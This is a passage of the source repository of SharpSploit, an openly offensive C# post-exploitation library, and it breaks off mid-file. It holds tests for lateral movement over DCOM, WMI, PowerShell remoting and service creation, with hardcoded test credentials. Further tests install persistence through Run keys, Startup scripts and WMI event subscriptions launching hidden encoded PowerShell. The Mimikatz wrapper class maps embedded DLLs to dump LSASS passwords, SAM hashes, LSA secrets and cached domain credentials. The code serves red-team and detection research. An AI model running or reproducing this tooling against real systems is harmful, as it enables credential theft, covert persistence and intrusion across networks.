TestShellExecute() 73 | { 74 | int current = Process.GetProcessesByName("Calculator").Length; 75 | string output = Shell.ShellExecute("calc.exe"); 76 | Assert.AreNotEqual(null, output); 77 | Assert.AreEqual("", output); 78 | System.Threading.Thread.Sleep(1000); 79 | int after = Process.GetProcessesByName("Calculator").Length; 80 | Assert.IsTrue(after > current); 81 | } 82 | 83 | [TestMethod] 84 | public void TestCreateProcessWithToken() 85 | { 86 | // Assumes that we have a single explorer process running that we can access 87 | PInvoke.Win32.Kernel32.OpenProcessToken( 88 | Process.GetProcessesByName("notepad")[0].Handle, 89 | (uint)TokenAccessLevels.MaximumAllowed, 90 | out IntPtr hToken 91 | ); 92 | Win32.WinBase._SECURITY_ATTRIBUTES sec = new Win32.WinBase._SECURITY_ATTRIBUTES(); 93 | PInvoke.Win32.Advapi32.DuplicateTokenEx( 94 | hToken, 95 | (uint)TokenAccessLevels.MaximumAllowed, 96 | ref sec, 97 | Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, 98 | Win32.WinNT.TOKEN_TYPE.TokenImpersonation, 99 | out IntPtr hProcessToken 100 | ); 101 | 102 | string output = Shell.CreateProcessWithToken("whoami /all", @"C:\Windows\System32", hProcessToken); 103 | Console.WriteLine(output); 104 | Assert.AreNotEqual(null, output); 105 | Assert.IsTrue(output.Length > 10); 106 | Assert.IsTrue(output.Contains("PRIVILEGES INFORMATION")); 107 | } 108 | 109 | [TestMethod] 110 | public void TestShellExecuteEmptyString() 111 | { 112 | string output = Shell.Execute(""); 113 | Assert.AreNotEqual(null, output); 114 | Assert.AreEqual("", output); 115 | } 116 | 117 | [TestMethod] 118 | public void TestShellExecuteNull() 119 | { 120 | String output = Shell.Execute(null); 121 | Assert.AreNotEqual(null, output); 122 | Assert.AreEqual("", output); 123 | } 124 | 125 | [TestMethod] 126 | public void TestShellExecuteSuspendResumeKill() 127 | { 128 | Process[] currentProcesses = Process.GetProcessesByName("Calculator"); 129 | Assert.AreEqual(0, currentProcesses.Length); 130 | 131 | string output = Shell.ShellExecute("calc.exe"); 132 | Assert.AreNotEqual(null, output); 133 | Assert.AreEqual("", output); 134 | System.Threading.Thread.Sleep(1000); 135 | 136 | Process[] afterProcesses = Process.GetProcessesByName("Calculator"); 137 | Assert.AreEqual(1, afterProcesses.Length); 138 | 139 | Assert.IsTrue(Shell.SuspendProcess(afterProcesses[0].Id)); 140 | System.Threading.Thread.Sleep(1000); 141 | Assert.IsTrue(Shell.ResumeProcess(afterProcesses[0].Id)); 142 | System.Threading.Thread.Sleep(1000); 143 | Assert.IsTrue(Shell.KillProcess(afterProcesses[0].Id)); 144 | System.Threading.Thread.Sleep(1000); 145 | 146 | Process[] endProcesses = Process.GetProcessesByName("Calculator"); 147 | Assert.AreEqual(0, endProcesses.Length); 148 | } 149 | } 150 | } 151 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/LateralMovement/DCOMTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using Microsoft.VisualStudio.TestTools.UnitTesting; 6 | 7 | using SharpSploit.LateralMovement; 8 | 9 | namespace SharpSploit.Tests.LateralMovement 10 | { 11 | [TestClass] 12 | public class DCOMTests 13 | { 14 | [TestMethod] 15 | public void TestDCOMExecute() 16 | { 17 | Assert.IsTrue(DCOM.DCOMExecute("localhost", "calc.exe", "", "C:\\WINDOWS\\System32\\", DCOM.DCOMMethod.MMC20_Application)); 18 | Assert.IsTrue(System.Diagnostics.Process.GetProcessesByName("Calculator").Length >= 1); 19 | Assert.IsTrue(DCOM.DCOMExecute("localhost", "calc.exe", "", "C:\\WINDOWS\\System32\\", DCOM.DCOMMethod.ShellBrowserWindow)); 20 | Assert.IsTrue(System.Diagnostics.Process.GetProcessesByName("Calculator").Length >= 2); 21 | Assert.IsTrue(DCOM.DCOMExecute("localhost", "calc.exe", "", "C:\\WINDOWS\\System32\\", DCOM.DCOMMethod.ShellWindows)); 22 | Assert.IsTrue(System.Diagnostics.Process.GetProcessesByName("Calculator").Length >= 3); 23 | Assert.IsTrue(DCOM.DCOMExecute("localhost", "calc.exe", "", "C:\\WINDOWS\\System32\\", DCOM.DCOMMethod.ExcelDDE)); 24 | Assert.IsTrue(System.Diagnostics.Process.GetProcessesByName("Calculator").Length >= 4); 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/LateralMovement/PowerShellRemotingTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using Microsoft.VisualStudio.TestTools.UnitTesting; 6 | 7 | using SharpSploit.LateralMovement; 8 | 9 | namespace SharpSploit.Tests.LateralMovement 10 | { 11 | [TestClass] 12 | public class PowerShellRemotingTests 13 | { 14 | [TestMethod] 15 | public void TestInvokeCommand() 16 | { 17 | var result = PowerShellRemoting.InvokeCommand("dc1", "whoami; hostname"); 18 | Assert.IsTrue(!string.IsNullOrEmpty(result)); 19 | } 20 | 21 | [TestMethod] 22 | public void TestInvokeCommandWCredentials() 23 | { 24 | var result = PowerShellRemoting.InvokeCommand("dc1", "whoami; hostname", "DEV", "rasta", "Passw0rd!"); 25 | Assert.IsTrue(!string.IsNullOrEmpty(result)); 26 | } 27 | } 28 | } -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/LateralMovement/SCMTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System.IO; 6 | using System.Linq; 7 | using System.ServiceProcess; 8 | using Microsoft.VisualStudio.TestTools.UnitTesting; 9 | 10 | using SharpSploit.LateralMovement; 11 | 12 | namespace SharpSploit.Tests.LateralMovement 13 | { 14 | [TestClass] 15 | public class SCMTests 16 | { 17 | [TestMethod] 18 | public void TestGetServices() 19 | { 20 | var services = SCM.GetServices("localhost"); 21 | Assert.IsTrue(services.Count > 5); 22 | Assert.IsNotNull(services.FirstOrDefault(S => S.DisplayName == "Netlogon")); 23 | } 24 | 25 | [TestMethod] 26 | public void TestGetService() 27 | { 28 | var service = SCM.GetService("localhost", "Netlogon"); 29 | Assert.IsNotNull(service); 30 | Assert.AreEqual("Netlogon", service.DisplayName); 31 | } 32 | 33 | [TestMethod] 34 | public void TestGetServiceBadServiceName() 35 | { 36 | var service = SCM.GetService("localhost", "blah"); 37 | Assert.IsNull(service); 38 | } 39 | 40 | [TestMethod] 41 | public void TestGetServicesBadComputerName() 42 | { 43 | var results = SCM.GetServices("blah"); 44 | Assert.IsNull(results); 45 | } 46 | 47 | [TestMethod] 48 | public void TestCreateGetStartStopDeleteService() 49 | { 50 | bool result = SCM.CreateService("localhost", "SharpSploit Service", "SharpSploitSvc", @"C:\Temp\SharpSploitService.exe"); 51 | Assert.IsTrue(result); 52 | 53 | var service = SCM.GetService("localhost", "SharpSploitSvc"); 54 | Assert.AreEqual("SharpSploitSvc", service.DisplayName); 55 | Assert.AreEqual("SharpSploit Service", service.ServiceName); 56 | Assert.AreEqual(ServiceControllerStatus.Stopped, service.Status); 57 | Assert.AreEqual(false, service.CanStop); 58 | 59 | result = SCM.StartService("localhost", "SharpSploitSvc"); 60 | Assert.IsTrue(result); 61 | 62 | service = SCM.GetService("localhost", "SharpSploitSvc"); 63 | Assert.AreEqual("SharpSploitSvc", service.DisplayName); 64 | Assert.AreEqual("SharpSploit Service", service.ServiceName); 65 | Assert.AreEqual(ServiceControllerStatus.Running, service.Status); 66 | Assert.AreEqual(true, service.CanStop); 67 | 68 | result = SCM.StopService("localhost", "SharpSploitSvc"); 69 | Assert.IsTrue(result); 70 | 71 | service = SCM.GetService("localhost", "SharpSploitSvc"); 72 | Assert.AreEqual("SharpSploitSvc", service.DisplayName); 73 | Assert.AreEqual("SharpSploit Service", service.ServiceName); 74 | Assert.AreEqual(ServiceControllerStatus.Stopped, service.Status); 75 | Assert.AreEqual(false, service.CanStop); 76 | 77 | result = SCM.DeleteService("localhost", "SharpSploit Service"); 78 | Assert.IsTrue(result); 79 | 80 | service = SCM.GetService("localhost", "SharpSploitSvc"); 81 | Assert.IsNull(service); 82 | } 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/LateralMovement/WMITests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using Microsoft.VisualStudio.TestTools.UnitTesting; 6 | 7 | using SharpSploit.LateralMovement; 8 | 9 | namespace SharpSploit.Tests.LateralMovement 10 | { 11 | [TestClass] 12 | public class WMITests 13 | { 14 | [TestMethod] 15 | public void TestWMIExecute() 16 | { 17 | Assert.IsNotNull(WMI.WMIExecute("win16", "powershell.exe", "DEV-COBBR\\TestAdmin", "Password123!")); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Persistence/AutorunTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using Win = Microsoft.Win32; 7 | using Microsoft.VisualStudio.TestTools.UnitTesting; 8 | 9 | using SharpSploit.Enumeration; 10 | using SharpSploit.Persistence; 11 | 12 | namespace SharpSploit.Tests.Persistence 13 | { 14 | [TestClass] 15 | public class AutorunTests 16 | { 17 | [TestMethod] 18 | public void InstallHKCUAutorun() 19 | { 20 | string cmd = Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(@"New-Item -Path C:\Temp\hkcu.txt -ItemType File")); 21 | string valueExpected = $@"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -nop -w hidden -enc {cmd}"; 22 | Autorun.InstallAutorun(Win.RegistryHive.CurrentUser, valueExpected); 23 | 24 | string result = Registry.GetRegistryKey(Win.RegistryHive.CurrentUser, @"Software\Microsoft\Windows\CurrentVersion\Run", "Updater"); 25 | Assert.IsTrue(result.Contains(valueExpected)); 26 | } 27 | 28 | [TestMethod] 29 | public void InstallHKLMAutorun() 30 | { 31 | string cmd = Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(@"New-Item -Path C:\Temp\hkcu.txt -ItemType File")); 32 | string valueExpected = $@"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -nop -w hidden -enc {cmd}"; 33 | Autorun.InstallAutorun(Win.RegistryHive.LocalMachine, valueExpected); 34 | 35 | string result = Registry.GetRegistryKey(Win.RegistryHive.LocalMachine, @"Software\Microsoft\Windows\CurrentVersion\Run", "Updater"); 36 | Assert.IsTrue(result.Contains(valueExpected)); 37 | } 38 | } 39 | } -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Persistence/StartupTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.IO; 7 | using Microsoft.VisualStudio.TestTools.UnitTesting; 8 | 9 | using SharpSploit.Persistence; 10 | 11 | namespace SharpSploit.Tests.Persistence 12 | { 13 | [TestClass] 14 | public class StartupTests 15 | { 16 | [TestMethod] 17 | public void InstallStartupScript() 18 | { 19 | string Payload = @"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -enc "; 20 | Startup.InstallStartup(Payload); 21 | 22 | string FilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + $@"\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat"; 23 | Assert.IsTrue(File.Exists(FilePath)); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Persistence/WMITests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System.IO; 6 | using System.Threading; 7 | using System.Diagnostics; 8 | using Microsoft.VisualStudio.TestTools.UnitTesting; 9 | 10 | using SharpSploit.Persistence; 11 | 12 | namespace SharpSploit.Tests.Persistence 13 | { 14 | [TestClass] 15 | public class WMITests 16 | { 17 | private static Process StartNotepad() 18 | { 19 | ProcessStartInfo startInfo = new ProcessStartInfo(); 20 | startInfo.FileName = @"C:\Windows\System32\notepad.exe"; 21 | startInfo.WindowStyle = ProcessWindowStyle.Hidden; 22 | return Process.Start(startInfo); 23 | } 24 | 25 | [TestMethod] 26 | public void TestInstallWMICommandLine() 27 | { 28 | string filePath = @"C:\CommandLineTest.txt"; 29 | string command = $@"cmd /c ""echo ""Command Line Test"" > {filePath}"""; 30 | 31 | WMI.InstallWMIPersistence("CommandLineTest", WMI.EventFilter.ProcessStart, WMI.EventConsumer.CommandLine, command, "notepad.exe"); 32 | 33 | Process notepad = StartNotepad(); 34 | Thread.Sleep(3000); 35 | 36 | Assert.IsTrue(File.Exists(filePath)); 37 | } 38 | 39 | [TestMethod] 40 | public void TestInstallWMIVBScript() 41 | { 42 | string filePath = @"C:\VBScriptTest.txt"; 43 | string vbscript = $@" 44 | Set objFSO=CreateObject(""Scripting.FileSystemObject"") 45 | outFile = ""{filePath}"" 46 | Set objFile = objFSO.CreateTextFile(outFile, True) 47 | objFile.Write ""VBScript Test"" 48 | objFile.Close"; 49 | 50 | WMI.InstallWMIPersistence("VBScriptTest", WMI.EventFilter.ProcessStart, WMI.EventConsumer.ActiveScript, vbscript, "notepad.exe", WMI.ScriptingEngine.VBScript); 51 | 52 | Process notepad = StartNotepad(); 53 | Thread.Sleep(3000); 54 | 55 | Assert.IsTrue(File.Exists(filePath)); 56 | } 57 | 58 | [TestMethod] 59 | public void TestInstallWMIJScript() 60 | { 61 | string filePath = @"C:\\JScriptTest.txt"; 62 | string jscript = $@" 63 | var myObject, newfile; 64 | myObject = new ActiveXObject(""Scripting.FileSystemObject""); 65 | newfile = myObject.CreateTextFile(""{filePath}"", false); 66 | "; 67 | 68 | WMI.InstallWMIPersistence("JScriptTest", WMI.EventFilter.ProcessStart, WMI.EventConsumer.ActiveScript, jscript, "notepad.exe", WMI.ScriptingEngine.JScript); 69 | 70 | Process notepad = StartNotepad(); 71 | Thread.Sleep(3000); 72 | 73 | Assert.IsTrue(File.Exists(filePath)); 74 | } 75 | } 76 | } -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Pivoting/ReversePortForwardingTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System.Net; 6 | using System.Text; 7 | using System.Threading; 8 | using Microsoft.VisualStudio.TestTools.UnitTesting; 9 | 10 | using SharpSploit.Pivoting; 11 | 12 | namespace SharpSploit.Tests.Pivoting 13 | { 14 | [TestClass] 15 | public class ReversePortForwardingTests 16 | { 17 | public const string testWebResponse = "this is a test"; 18 | 19 | [TestMethod] 20 | public void TestCreateReversePortForward() 21 | { 22 | Thread httpListener = new Thread(() => CreateHttpListener()); 23 | httpListener.Start(); 24 | 25 | ReversePortForwarding.CreateReversePortForward(4444, "127.0.0.1", 8080); 26 | 27 | string result = string.Empty; 28 | 29 | using (WebClient client = new WebClient()) 30 | { 31 | try { result = client.DownloadString("http://localhost:4444"); } 32 | catch (WebException) { } 33 | } 34 | 35 | Assert.IsTrue(result.Equals(testWebResponse)); 36 | httpListener.Abort(); 37 | } 38 | 39 | [TestMethod] 40 | public void TestDeleteReversePortForward() 41 | { 42 | Thread httpListener = new Thread(() => CreateHttpListener()); 43 | httpListener.Start(); 44 | 45 | ReversePortForwarding.CreateReversePortForward(4444, "127.0.0.1", 8080); 46 | 47 | string result = string.Empty; 48 | 49 | using (WebClient client = new WebClient()) 50 | { 51 | try { result = client.DownloadString("http://localhost:4444"); } 52 | catch (WebException) { } 53 | 54 | Assert.IsTrue(result.Equals(testWebResponse)); 55 | result = string.Empty; 56 | 57 | ReversePortForwarding.DeleteReversePortForward(4444); 58 | 59 | try { result = client.DownloadString("http://localhost:4444"); } 60 | catch (WebException) { } 61 | 62 | Assert.IsFalse(result.Equals(testWebResponse)); 63 | } 64 | httpListener.Abort(); 65 | } 66 | 67 | [TestMethod] 68 | public void TestFlushReversePortForward() 69 | { 70 | var list = ReversePortForwarding.GetReversePortForwards(); 71 | Assert.IsTrue(list.Count == 0); 72 | 73 | ReversePortForwarding.CreateReversePortForward(4444, "127.0.0.1", 8080); 74 | ReversePortForwarding.CreateReversePortForward(4445, "127.0.0.1", 8080); 75 | list = ReversePortForwarding.GetReversePortForwards(); 76 | Assert.IsTrue(list.Count == 2); 77 | 78 | ReversePortForwarding.FlushReversePortFowards(); 79 | list = ReversePortForwarding.GetReversePortForwards(); 80 | Assert.IsTrue(list.Count == 0); 81 | } 82 | 83 | [TestMethod] 84 | public void TestListReversePortForwards() 85 | { 86 | var list = ReversePortForwarding.GetReversePortForwards(); 87 | Assert.IsTrue(list.Count == 0); 88 | 89 | ReversePortForwarding.CreateReversePortForward(4444, "127.0.0.1", 8080); 90 | list = ReversePortForwarding.GetReversePortForwards(); 91 | Assert.IsTrue(list.Count == 1); 92 | 93 | ReversePortForwarding.DeleteReversePortForward(4444); 94 | list = ReversePortForwarding.GetReversePortForwards(); 95 | Assert.IsTrue(list.Count == 0); 96 | } 97 | 98 | private static void CreateHttpListener() 99 | { 100 | using (HttpListener listener = new HttpListener()) 101 | { 102 | listener.Prefixes.Add($"http://127.0.0.1:8080/"); 103 | 104 | listener.Start(); 105 | 106 | while (true) 107 | { 108 | var context = listener.GetContext(); 109 | var response = context.Response; 110 | var responseString = testWebResponse; 111 | var buffer = Encoding.UTF8.GetBytes(responseString); 112 | response.ContentLength64 = buffer.Length; 113 | 114 | var output = response.OutputStream; 115 | output.Write(buffer, 0, buffer.Length); 116 | } 117 | } 118 | } 119 | } 120 | } -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | [assembly: AssemblyTitle("SharpSploit.Framework.Tests")] 6 | [assembly: AssemblyDescription("")] 7 | [assembly: AssemblyConfiguration("")] 8 | [assembly: AssemblyCompany("")] 9 | [assembly: AssemblyProduct("SharpSploit.Framework.Tests")] 10 | [assembly: AssemblyCopyright("Copyright © 2018")] 11 | [assembly: AssemblyTrademark("")] 12 | [assembly: AssemblyCulture("")] 13 | 14 | [assembly: ComVisible(false)] 15 | 16 | [assembly: Guid("7760248f-9247-4206-be42-a6952aa46da2")] 17 | 18 | // [assembly: AssemblyVersion("1.0.*")] 19 | [assembly: AssemblyVersion("1.0.0.0")] 20 | [assembly: AssemblyFileVersion("1.0.0.0")] 21 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | AnyCPU 6 | {7760248F-9247-4206-BE42-A6952AA46DA2} 7 | Library 8 | Properties 9 | SharpSploit.Framework.Tests 10 | SharpSploit.Framework.Tests 11 | v4.5 12 | 512 13 | {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} 14 | 15.0 15 | $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion) 16 | $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages 17 | False 18 | UnitTest 19 | 20 | 21 | 22 | 23 | true 24 | full 25 | false 26 | bin\Debug\ 27 | DEBUG;TRACE 28 | prompt 29 | 4 30 | 31 | 32 | pdbonly 33 | true 34 | bin\Release\ 35 | TRACE 36 | prompt 37 | 4 38 | 39 | 40 | 41 | ..\..\packages\MSTest.TestFramework.1.3.1\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.dll 42 | True 43 | 44 | 45 | ..\..\packages\MSTest.TestFramework.1.3.1\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll 46 | True 47 | 48 | 49 | False 50 | ..\..\SharpSploit\bin\Debug\net40\SharpSploit.dll 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 91 | 92 | 93 | -------------------------------------------------------------------------------- /SharpSploit.Tests/SharpSploit.Tests/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /SharpSploit.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27428.2037 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "SharpSploit", "SharpSploit\SharpSploit.csproj", "{52040049-D7FC-4C72-B6AE-BD2C7AB27DEE}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSploit.Tests", "SharpSploit.Tests\SharpSploit.Tests\SharpSploit.Tests.csproj", "{7760248F-9247-4206-BE42-A6952AA46DA2}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Release|Any CPU = Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {52040049-D7FC-4C72-B6AE-BD2C7AB27DEE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {52040049-D7FC-4C72-B6AE-BD2C7AB27DEE}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {52040049-D7FC-4C72-B6AE-BD2C7AB27DEE}.Release|Any CPU.ActiveCfg = Release|Any CPU 19 | {52040049-D7FC-4C72-B6AE-BD2C7AB27DEE}.Release|Any CPU.Build.0 = Release|Any CPU 20 | {7760248F-9247-4206-BE42-A6952AA46DA2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {7760248F-9247-4206-BE42-A6952AA46DA2}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {7760248F-9247-4206-BE42-A6952AA46DA2}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {7760248F-9247-4206-BE42-A6952AA46DA2}.Release|Any CPU.Build.0 = Release|Any CPU 24 | {A2418BEE-706B-42FB-B316-A3C2080E3C89}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 25 | {A2418BEE-706B-42FB-B316-A3C2080E3C89}.Debug|Any CPU.Build.0 = Debug|Any CPU 26 | {A2418BEE-706B-42FB-B316-A3C2080E3C89}.Release|Any CPU.ActiveCfg = Release|Any CPU 27 | {A2418BEE-706B-42FB-B316-A3C2080E3C89}.Release|Any CPU.Build.0 = Release|Any CPU 28 | {B84548DC-D926-4B39-8293-FA0BDEF34D49}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 29 | {B84548DC-D926-4B39-8293-FA0BDEF34D49}.Debug|Any CPU.Build.0 = Debug|Any CPU 30 | {B84548DC-D926-4B39-8293-FA0BDEF34D49}.Release|Any CPU.ActiveCfg = Release|Any CPU 31 | {B84548DC-D926-4B39-8293-FA0BDEF34D49}.Release|Any CPU.Build.0 = Release|Any CPU 32 | EndGlobalSection 33 | GlobalSection(SolutionProperties) = preSolution 34 | HideSolutionNode = FALSE 35 | EndGlobalSection 36 | GlobalSection(ExtensibilityGlobals) = postSolution 37 | SolutionGuid = {99F30681-7173-4AC8-A6C5-5CED0503BAB5} 38 | EndGlobalSection 39 | EndGlobal 40 | -------------------------------------------------------------------------------- /SharpSploit/Credentials/Mimikatz.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using System; 6 | using System.Text; 7 | using System.Threading; 8 | using System.Net.NetworkInformation; 9 | using System.Runtime.InteropServices; 10 | 11 | using SharpSploit.Misc; 12 | using SharpSploit.Execution.ManualMap; 13 | 14 | namespace SharpSploit.Credentials 15 | { 16 | /// 17 | /// (SharpSploit.Credentials.)Mimikatz is a library for executing Mimikatz functions. SharpSploit's implementation 18 | /// uses a PE Loader to execute Mimikatz functions. This is a wrapper class that loads the PE and executes user- 19 | /// specified Mimikatz functions 20 | /// 21 | /// 22 | /// Mimikatz is a tool for playing with credentials in Windows, written by Benjamin Delpy (@gentilkiwi). (Found 23 | /// at https://github.com/gentilkiwi/mimikatz). 24 | /// This wrapper class is adapted from Chris Ross (@xorrior)'s implementation, converted by (@TheRealWover) to use the Manual Mapping API. 25 | /// 26 | public class Mimikatz 27 | { 28 | private static byte[] PEBytes32 { get; set; } 29 | private static byte[] PEBytes64 { get; set; } 30 | 31 | private static PE.PE_MANUAL_MAP MimikatzPE = new PE.PE_MANUAL_MAP(); 32 | private static bool MappedMimikatz = false; 33 | 34 | [UnmanagedFunctionPointer(CallingConvention.Cdecl, CharSet = CharSet.Unicode)] 35 | private delegate string MimikatzType(string command); 36 | 37 | /// 38 | /// Loads the Mimikatz PE and executes a chosen Mimikatz command. 39 | /// 40 | /// Mimikatz command to be executed. 41 | /// Mimikatz output. 42 | public static string Command(string Command = "privilege::debug sekurlsa::logonPasswords") 43 | { 44 | string[] manifestResources = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames(); 45 | 46 | try 47 | { 48 | if (IntPtr.Size == 4 && !MappedMimikatz) 49 | { 50 | if (PEBytes32 == null) 51 | { 52 | PEBytes32 = Utilities.GetEmbeddedResourceBytes("powerkatz_x86.dll"); 53 | if (PEBytes32 == null) { return ""; } 54 | } 55 | 56 | MimikatzPE = Overload.OverloadModule(PEBytes32, false); 57 | MappedMimikatz = true; 58 | } 59 | else if (IntPtr.Size == 8) 60 | { 61 | if (PEBytes64 == null && !MappedMimikatz) 62 | { 63 | PEBytes64 = Utilities.GetEmbeddedResourceBytes("powerkatz_x64.dll"); 64 | if (PEBytes64 == null) { return ""; } 65 | } 66 | 67 | MimikatzPE = Overload.OverloadModule(PEBytes64, false); 68 | MappedMimikatz = true; 69 | } 70 | } 71 | catch (Exception ex) 72 | { 73 | return ex.Message; 74 | } 75 | 76 | try 77 | { 78 | string output = ""; 79 | Thread t = new Thread(() => 80 | { 81 | try 82 | { 83 | object[] parameters = 84 | { 85 | Command 86 | }; 87 | 88 | output = (string)Execution.DynamicInvoke.Generic.CallMappedDLLModuleExport(MimikatzPE.PEINFO, MimikatzPE.ModuleBase, "powershell_reflective_mimikatz", typeof(MimikatzType), parameters); 89 | } 90 | catch (Exception e) 91 | { 92 | Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace); 93 | } 94 | }); 95 | t.Start(); 96 | t.Join(); 97 | return output; 98 | } 99 | catch (Exception e) 100 | { 101 | Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace); 102 | return ""; 103 | } 104 | } 105 | 106 | /// 107 | /// Loads the Mimikatz PE and executes the Mimikatz command to get some coffee. 108 | /// Equates to `Command("coffee")`. 109 | /// 110 | /// Mimikatz output. 111 | public static string Coffee() 112 | { 113 | return Command("coffee"); 114 | } 115 | 116 | /// 117 | /// Loads the Mimikatz PE and executes the Mimikatz command to retrieve plaintext 118 | /// passwords from LSASS. Equates to `Command("privilege::debug sekurlsa::logonPasswords")`. (Requires Admin) 119 | /// 120 | /// Mimikatz output. 121 | public static string LogonPasswords() 122 | { 123 | return Command("privilege::debug sekurlsa::logonPasswords"); 124 | } 125 | 126 | /// 127 | /// Loads the Mimikatz PE and executes the Mimikatz command to retrieve password hashes 128 | /// from the SAM database. Equates to `Command("privilege::debug lsadump::sam")`. (Requires Admin) 129 | /// 130 | /// Mimikatz output. 131 | public static string SamDump() 132 | { 133 | return Command("token::elevate lsadump::sam"); 134 | } 135 | 136 | /// 137 | /// Loads the Mimikatz PE and executes the Mimikatz command to retrieve LSA secrets 138 | /// stored in registry. Equates to `Command("privilege::debug lsadump::secrets")`. (Requires Admin) 139 | /// 140 | /// Mimikatz output. 141 | public static string LsaSecrets() 142 | { 143 | return Command("token::elevate lsadump::secrets"); 144 | } 145 | 146 | /// 147 | /// Loads the Mimikatz PE and executes the Mimikatz command to retrieve Domain 148 | /// Cached Credentials hashes from registry. Equates to `Command("privilege::debug lsadump::cache")`. 149 | /// (Requires Admin) 150 | /// 151 | /// Mimikatz output. 152 | public static string LsaCache() 153 | { 154 | return Command("token::elevate lsadump::cache"); 155 | } 156 | 157 | /// 158 | /// Loads the Mimikatz PE and executes the Mimikatz command to retrieve Wdigest 159 | /// credentials from registry. Equates to `Command("sekurlsa::wdigest")`. 160 | /// 161 | /// Mimikatz output. 162 | public static string Wdigest() 163 | { 164 | return Command("sekurlsa::wdigest"); 165 | } 166 | 167 | /// 168 | 